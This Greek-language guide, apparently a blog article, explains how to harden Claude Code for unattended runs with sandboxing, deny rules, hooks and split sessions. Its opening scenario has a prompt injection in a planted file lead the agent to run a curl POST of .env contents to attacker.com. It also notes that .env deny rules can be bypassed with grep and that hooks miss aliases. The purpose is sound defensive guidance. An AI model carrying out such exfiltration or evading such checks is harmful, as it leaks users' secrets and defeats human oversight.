Απομόνωση δικτύου επιτρέπει συνδέσεις μόνο προς εγκεκριμένους διακομιστές. Αυτό είναι κρίσιμο για επιθέσεις εξαγωγής δεδομένων. Σενάριο: μια προτροπή injection σε ένα φυτευμένο αρχείο ξεγέλασε το Claude ώστε να διαβάσει το .env (το hook δεν το εντόπισε επειδή η ανάγνωση έγινε με ασυνήθιστο τρόπο) και μετά το μοντέλο αποφασίζει να εκτελέσει curl -X POST attacker.com -d "$ENV_CONTENT". Χωρίς απομόνωση δικτύου, αυτό θα λειτουργούσε. Με απομόνωση δικτύου, το curl δεν μπορεί να συνδεθεί στο attacker.com, επειδή ο host δεν βρίσκεται στη λίστα.

Εκκινήστε το με την εντολή /sandbox μέσα στο Claude Code. Ρυθμίστε το στο ~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

Για μεγάλες συνεδρίες παρασκηνίου που ξεκινούν με claude --bg, προσθέστε απομόνωση worktree στο sandbox. Πρόκειται για εγγενή μηχανισμό του Claude Code: κάθε συνεδρία παρασκηνίου μεταφέρεται αυτόματα στο δικό της .claude/worktrees/<name>/, σε ξεχωριστό branch. Έτσι, οι παράλληλες συνεδρίες δεν επηρεάζουν η μία την άλλη όταν γράφουν στα ίδια αρχεία. Κάλυψα αναλυτικά την απομόνωση worktree στον οδηγό «Προβολή Agent και Worktrees: Η αυτόνομη λειτουργία του Claude Code».

Δώστε στο Claude έναν τρόπο να ελέγχει τη δουλειά του.

Το sandbox αποτελεί μέρος του βρόχου ανατροφοδότησης. Όταν το Claude γνωρίζει ότι οι ενέργειές του περιορίζονται, εργάζεται πιο προσεκτικά και περιγράφει πιο καθαρά τα ενδιάμεσα βήματά του.

Πού λειτουργεί το auto-mode το 2026 και πού όχι;

Κύριο συμπέρασμα

Το auto-mode στο Claude Code είναι ένας ταξινομητής Sonnet 4.6 που αντικαθιστά τα χειροκίνητα δικαιώματα με αυτοματοποιημένες αποφάσεις βάσει των κανόνων της Anthropic. Σύμφωνα με την ίδια την Anthropic, το ποσοστό ψευδώς αρνητικών για επικίνδυνες ενέργειες είναι 17%, και η συνεδρία σταματά μετά από 3 συνεχόμενες ή 20 συνολικές απορρίψεις από τον ταξινομητή. Στην πράσινη ζώνη, αποτελεί λογική εναλλακτική της χειροκίνητης έγκρισης. Στην κόκκινη ζώνη, εξακολουθούν να είναι απαραίτητα τα hooks.

Τον Μάρτιο του 2026, η Anthropic κυκλοφόρησε το auto-mode ως «μια μέση λύση ανάμεσα στον χειροκίνητο έλεγχο και την απουσία προστατευτικών μέτρων». Είναι ένα ξεχωριστό μοντέλο Sonnet 4.6 που αξιολογεί κάθε ενέργεια του Claude με βάση ένα σύνολο κριτηρίων πριν από την εκτέλεση. Η Anthropic περιέγραψε τον μηχανισμό στο ιστολόγιο Anthropic Engineering:

Το Auto-mode είναι μια νέα λειτουργία του Claude Code που αναθέτει τις εγκρίσεις σε ταξινομητές βασισμένους σε μοντέλα. Είναι μια μέση λύση ανάμεσα στον χειροκίνητο έλεγχο και την απουσία προστατευτικών μέτρων.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode

Το auto-mode έχει δύο σημαντικούς περιορισμούς:

  • Αν μια συνεδρία συγκεντρώσει 3 συνεχόμενες ή 20 συνολικές απορρίψεις από τον ταξινομητή, το μοντέλο σταματά και παραπέμπει την υπόθεση σε άνθρωπο. Αυτό προστατεύει από μια κατάσταση όπου «το Claude κάνει επαναλήψεις, προσπαθώντας να παρακάμψει έναν περιορισμό με 100 διαφορετικές διατυπώσεις της ίδιας εντολής».
  • Το auto-mode επιτρέπει μια ενέργεια αν μοιάζει με το 93% των τυπικών περιπτώσεων που οι χρήστες εγκρίνουν ούτως ή άλλως. Αυτό μειώνει την κόπωση από τα αιτήματα άδειας, αλλά δεν προστατεύει από άτυπες επικίνδυνες ενέργειες.

Και αυτό είναι το βασικό ποσοστό που πρέπει να προσέξετε:

Ποσοστό ψευδώς αρνητικών 17% σε πραγματικές υπερβολικά τολμηρές ενέργειες — αυτός είναι ο ειλικρινής αριθμός.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode

Το αναφερόμενο 17% είναι ποσοστό ψευδώς αρνητικών εκείνης της αξιολόγησης, όχι πιθανότητα κάθε ενέργειας στο έργο σας. Δεν τεκμηριώνει ότι τα ενδεικτικά hooks εντοπίζουν τις αστοχίες. Στην κόκκινη ζώνη, η ανεπιτήρητη εργασία χρειάζεται επιβεβλημένη απομόνωση από εγγραφές παραγωγής και μυστικά, μαζί με προστατευμένους κλάδους στην πλευρά διακομιστή και διαπιστευτήρια που δεν παρακάμπτουν τους κανόνες.

Πρακτικό συμπέρασμα: χρησιμοποιήστε hooks ως πρόσθετους ελέγχους σε αναλώσιμο, ανακτήσιμο περιβάλλον. Ακόμη και τοπικό έργο μπορεί να περιέχει μη παρακολουθούμενα αρχεία ή διαπιστευτήρια που δεν επαναφέρει το Git. Στην κόκκινη ζώνη, μια αστοχία hook πρέπει να περιορίζεται από πραγματικούς ελέγχους πρόσβασης· μια συλλογή regex δεν μετατρέπει αυθαίρετη εκτέλεση κελύφους σε ντετερμινιστική εγγύηση ασφάλειας.

Γιατί να διαχωρίσετε τα περιβάλλοντα σε τρεις τύπους συνεδριών;

Κύριο συμπέρασμα

Η πιο επικίνδυνη αλυσίδα αποτελείται από τρεις συνηθισμένες εντολές στη σειρά, όχι από μία κακή εντολή. Ο agent διαβάζει το .env (θεμιτό), αναλύει ένα εισερχόμενο email (θεμιτό) και στέλνει ένα HTTP αίτημα εξωτερικά (θεμιτό). Κάθε ενέργεια είναι ασφαλής από μόνη της· μαζί, αποτελούν εξαγωγή δεδομένων. Η προστασία είναι να χωρίσετε τους τρεις τύπους εργασιών σε ξεχωριστές συνεδρίες με διαφορετικά δικαιώματα.

Τρεις τύποι εργασιών δεν πρέπει ποτέ να βρίσκονται στην ίδια συνεδρία:

Τύπος 1: εργασία με προσωπικά δεδομένα. Η συνεδρία έχει πρόσβαση στη βάση δεδομένων παραγωγής, μπορεί να στέλνει email και βλέπει διαπιστευτήρια. ΔΕΝ έχει πρόσβαση σε εξωτερικά έγγραφα (email, PDF, ιστοσελίδες) και ΔΕΝ ΜΠΟΡΕΙ να στέλνει δεδομένα σε αυθαίρετες διευθύνσεις.

Τύπος 2: επεξεργασία εξωτερικών εγγράφων. Η συνεδρία μπορεί να αναλύει εισερχόμενα email, να κατεβάζει ιστοσελίδες και να διαβάζει PDF από email. ΔΕΝ έχει πρόσβαση σε βάση δεδομένων με προσωπικά δεδομένα και ΔΕΝ ΜΠΟΡΕΙ να στείλει τίποτα εξωτερικά χωρίς ρητή επιβεβαίωση.

Τύπος 3: εξωτερική δημοσίευση. Η συνεδρία μπορεί να δημοσιεύει σε κοινωνικά δίκτυα, να στέλνει καμπάνιες email και να δημιουργεί pull requests. ΔΕΝ έχει πρόσβαση σε προσωπικά δεδομένα και ΔΕΝ αναλύει εισερχόμενο περιεχόμενο.

Γιατί να τα χωρίσετε; Αν μία συνεδρία κάνει τα πάντα, ένα prompt injection σε ένα φυτεμένο PDF (ένα ανταγωνιστικό γραφείο έστειλε ένα «τιμολόγιο») αρκεί ώστε ο agent σε μία κίνηση να διαβάσει τη βάση δεδομένων πελατών σας, να βρει τα email τους και να τα στείλει σε διεύθυνση επιτιθέμενου. Κάθε ενέργεια αυτής της αλυσίδας είναι θεμιτή για τον δικό της τύπο εργασίας. Μαζί, αποτελούν διαρροή.

Το πιο τρομακτικό μοτίβο εξαγωγής δεδομένων δεν είναι μία κακή εντολή. Είναι μια αλυσίδα απολύτως φυσιολογικών εντολών. Ο agent διαβάζει το .env (επιτρέπεται), το στέλνει μέσω HTTP (επιτρέπεται), και αυτό ήταν.

— ibrahim_h, HackerNews

Στην πράξη, αυτό υλοποιείται με διαφορετικούς καταλόγους .claude για κάθε τύπο εργασίας. Διατηρώ τρεις ρυθμίσεις στον υπολογιστή μου: ~/projects/business-ops/.claude/ (τύπος 1, πρόσβαση στη βάση δεδομένων, το δίκτυο απαγορεύεται εκτός από τα εσωτερικά API), ~/projects/inbox-parsing/.claude/ (τύπος 2, απαγορεύεται όλο το δίκτυο), ~/projects/social-posting/.claude/ (τύπος 3, επιτρέπεται το δίκτυο για τα API Telegram και Slack). Κάθε κατάλογος είναι ξεχωριστό έργο για το Claude Code, με δικά του δικαιώματα και hooks.

Ποια 12 σημεία της λίστας ελέγχου περνάω πριν από το /loop;

Κύριο συμπέρασμα

Μια λίστα ελέγχου 12 σημείων που περνάω πριν ξεκινήσω το /loop, το /schedule ή το claude --bg για τη νύχτα. Ξεκινά από το ~/.claude/settings.json με έναν βασικό κανόνα deny και φτάνει στο /sandbox με απομόνωση δικτύου. Αν έστω και ένα σημείο δεν καλύπτεται, δεν ξεκινώ.

  1. ~/.claude/settings.json με deny σε επίπεδο χρήστη για τα .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/**. Αυτό είναι το θεμέλιο· χωρίς αυτό, τα υπόλοιπα δεν έχουν νόημα.

  2. disableBypassPermissionsMode: "disable" στο ~/.claude/settings.json. Αποκλείει οριστικά τη σημαία YOLO.

  3. Τα παραδείγματα block-secret-reads.sh έχουν δοκιμαστεί σε επιλεγμένες εντολές ανάγνωσης μυστικών· πραγματικά μυστικά και διαπιστευτήρια παραγωγής είναι απρόσιτα στο ανεπιτήρητο περιβάλλον.

  4. Το παράδειγμα block-force-push.sh μπλοκάρει αναγνωρισμένα κυριολεκτικά pushes ανεξάρτητα από σειρά σημαιών ή προορισμό· προστατευμένοι κλάδοι και διαπιστευτήρια χωρίς παράκαμψη επιβάλλονται από τον διακομιστή Git.

  5. Το hook block-destructive-sql.sh για DROP TABLE, TRUNCATE και DELETE FROM χωρίς WHERE.

  6. Το hook block-rm-rf.sh για rm -rf χωρίς ρητά καθορισμένη εμβέλεια.

  7. Το hook ask-on-new-deps.sh για npm install <new package> (διαφορετικό από το npm install χωρίς ορίσματα).

  8. Το hook ask-on-lockfile-change.sh για εγγραφές στα package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml και Cargo.toml.

  9. Ένα γενικό αρχείο καταγραφής audit.jsonl για όλες τις κλήσεις Bash, Write και Edit. Χωρίς αυτό, η ανάλυση μετά το περιστατικό είναι αδύνατη.

  10. Όλες οι συνεδρίες παρασκηνίου μεγάλης διάρκειας εκτελούνται σε worktree, όχι στον κύριο branch: το claude --bg "task" δημιουργεί αυτόματα worktree, αλλά ελέγξτε ότι το settings.json δεν περιέχει worktree.bgIsolation: "none".

  11. /sandbox πριν από την έναρξη μιας μεγάλης αυτόνομης εργασίας. Το σύστημα αρχείων περιορίζεται στον κατάλογο του έργου και στο /tmp. Το δίκτυο χρησιμοποιεί λίστα επιτρεπόμενων με τα api.anthropic.com, github.com και registry.npmjs.org.

  12. Ένα βήμα επαλήθευσης μέσα στην εργασία: μετά από κάθε σημαντική αλλαγή, εκτελέστε τον test runner ή τον linter. Αν αποτύχουν, ο agent δεν συνεχίζει μέχρι να διορθωθούν.

Το τελευταίο σημείο αφορά τον τρόπο εργασίας, όχι μια ρύθμιση εργαλείου. Δώστε στο Claude έναν τρόπο να ελέγχει τη δουλειά του. Χωρίς επαλήθευση, ένας agent που δουλεύει όλη τη νύχτα επαναλαμβάνει «νομίζω ότι το έκανα σωστά, συνεχίζω», συσσωρεύοντας λάθη μέχρι το πρωί. Με επαλήθευση, δεν συνεχίζει μέχρι να περάσει ο έλεγχος.

7 Αντι-μοτίβα: τι να ΜΗΝ κάνετε

Κύριο συμπέρασμα

Επτά συνηθισμένα λάθη από τα έργα που περιγράφονται εδώ: εκτέλεση του --dangerously-skip-permissions σε μηχάνημα με πρόσβαση παραγωγής, αποκλειστική εξάρτηση από το CLAUDE.md, εμπιστοσύνη στο permissions.deny χωρίς επιπλέον hook και χρήση του auto-mode χωρίς κανόνες δημιουργίας αντιγράφων ασφαλείας. Κάθε λάθος συνδέεται με πραγματικά περιστατικά που περιγράφονται στις πηγές.

1. --dangerously-skip-permissions σε μηχάνημα με πρόσβαση παραγωγής. Ο browningstreet έχασε τις βάσεις δεδομένων παραγωγής και ανάπτυξης με μία μόνο εντολή «τακτοποίησης». Το κόστος ενός λάθους είναι ώρες αποκατάστασης, συν δεδομένα που δεν υπάρχουν στο αντίγραφο ασφαλείας. Αν έχει ήδη συμβεί κάποιο περιστατικό, ανοίξτε τη «Τι να κάνετε αν η AI διέγραψε μια βάση δεδομένων: λίστα ελέγχου αποκατάστασης» και ακολουθήστε τα 10 βήματα με τη σειρά.

2. Να βασίζεστε αποκλειστικά στο CLAUDE.md για την ασφάλεια. Το ζήτημα #44868 απέδειξε ότι το μοντέλο ενεργεί πρώτα και ζητά συγγνώμη μετά. Μια συμβουλευτική οδηγία σε αρχείο κειμένου δεν αποκλείει μια κλήση εργαλείου. Ένα σωστά ρυθμισμένο hook μπορεί να μπλοκάρει κλήσεις που ταιριάζουν, ενώ έλεγχοι λειτουργικού συστήματος, sandbox και υπηρεσιών επιβάλλουν ευρύτερα όρια. Το CLAUDE.md είναι σημαντικό για το πλαίσιο του έργου — έγραψα γι’ αυτό ξεχωριστά στο «Πώς να ρυθμίσετε σωστά το CLAUDE.md» — αλλά δεν σας προστατεύει από έναν αυτόνομο agent.

3. Να βασίζεστε μόνο στο permissions.deny στο settings.json, χωρίς επιπλέον hook. Το ζήτημα #24846 παραμένει ανοιχτό από τον Φεβρουάριο του 2026. Ο κανόνας deny για .env* μπορεί να παρακαμφθεί μέσω grep στο Bash. Ένα hook μπορεί να προσθέσει ελέγχους, αλλά τα μυστικά πρέπει επίσης να αποκλείονται από το ανεπιτήρητο περιβάλλον· ένα regex δεν αντικαθιστά πλήρως τον έλεγχο πρόσβασης.

4. Αντιμετώπιση auto-mode μαζί με regex hooks ως απομόνωση παραγωγής. Το παρατιθέμενο ποσοστό ψευδώς αρνητικών αφορά συγκεκριμένη αξιολόγηση και η κάλυψη hook είναι ελλιπής. Αφαιρέστε διαπιστευτήρια εγγραφής παραγωγής και επαληθεύστε το επιβεβλημένο όριο αντί να θεωρείτε ότι θα αναχαιτιστεί κάθε επικίνδυνη ενέργεια.

5. Εγκατάσταση νέου πακέτου με npm install χωρίς επιβεβαίωση. Οι επιθέσεις στην αλυσίδα εφοδιασμού είναι πραγματικές. Τα περιστατικά Tea-tags το 2024–2026 έδειξαν ότι υπάρχουν πακέτα με παραπλανητικά ονόματα και χιλιάδες λήψεις. Χρειάζεστε λίστα επιτρεπόμενων.

6. Μη καταγραφή κλήσεων Bash. Χωρίς αρχείο ελέγχου, δεν θα μπορέσετε να καταλάβετε τι συνέβη μέσα στη νύχτα. Το ιστορικό συνομιλίας είναι μεγάλο, δεν ταξινομείται βάσει εντολής και δεν παρέχει χρονολόγιο. Το .claude/audit.jsonl λύνει και τα δύο προβλήματα.

7. Μη χρήση worktree για συνεδρίες παρασκηνίου. Οι παράλληλες συνεδρίες στον ίδιο κατάλογο παρεμβαίνουν η μία στη δουλειά της άλλης. Το Claude Code διαθέτει το worktree.bgIsolation, ενεργοποιημένο από προεπιλογή από την έκδοση 2.1.143, αλλά ελέγξτε τις ρυθμίσεις σας.

Και το βασικό πράγμα που δεν μπορεί να αποτρέψει κανένα hook ή ρύθμιση:

Αυτή η φράση δεν αφορά το ύφος. Υπεύθυνος για την προστασία της παραγωγής είναι αυτός που ξεκίνησε τον agent. Το Claude Code λειτουργεί σαν ίσιο ξυράφι: μπορείτε να ξυριστείτε με αυτό, αλλά και να κοπείτε. Η ρύθμιση απαντά σε ένα ερώτημα: έχετε προετοιμάσει αρκετά καλά το περιβάλλον ώστε το ξυράφι να μην κόψει τίποτα που δεν πρέπει;

Περισσότερο υλικό είναι διαθέσιμο στο Ailoot.

Περισσότερες λεπτομέρειες

Ερωτήσεις και απαντήσεις: Πώς να ρυθμίσετε το Claude Code ώστε να μην καταστρέψει το έργο σας μέσα στη νύχτα

Το force-push hook προστατεύει την παραγωγή από κάθε εντολή κελύφους;

Όχι. Το αναθεωρημένο παράδειγμα μπλοκάρει αναγνωρισμένες κυριολεκτικές κλήσεις git push, μαζί με διαφορετική σειρά σημαιών, έμμεσους κλάδους, refspecs και συνηθισμένες αλυσίδες κελύφους. Aliases, wrappers και κατασκευασμένες εντολές μπορούν να ξεφύγουν· επιβάλετε προστατευμένους κλάδους και αφαιρέστε διαπιστευτήρια παράκαμψης.

Τι απαιτείται πριν αφήσω agent να τρέχει όλη νύχτα;

Χρησιμοποιήστε απομονωμένο περιβάλλον χωρίς δικαίωμα εγγραφής παραγωγής ή αναγνώσιμα μυστικά, επαληθεύστε περιορισμούς δικτύου και υπηρεσιών και δοκιμάστε τις προβλεπόμενες αντιστοιχίσεις και αστοχίες hook. Τα hooks προσθέτουν ελέγχους αλλά δεν αντικαθιστούν αυτά τα επιβεβλημένα όρια.

Όλα τα άρθρα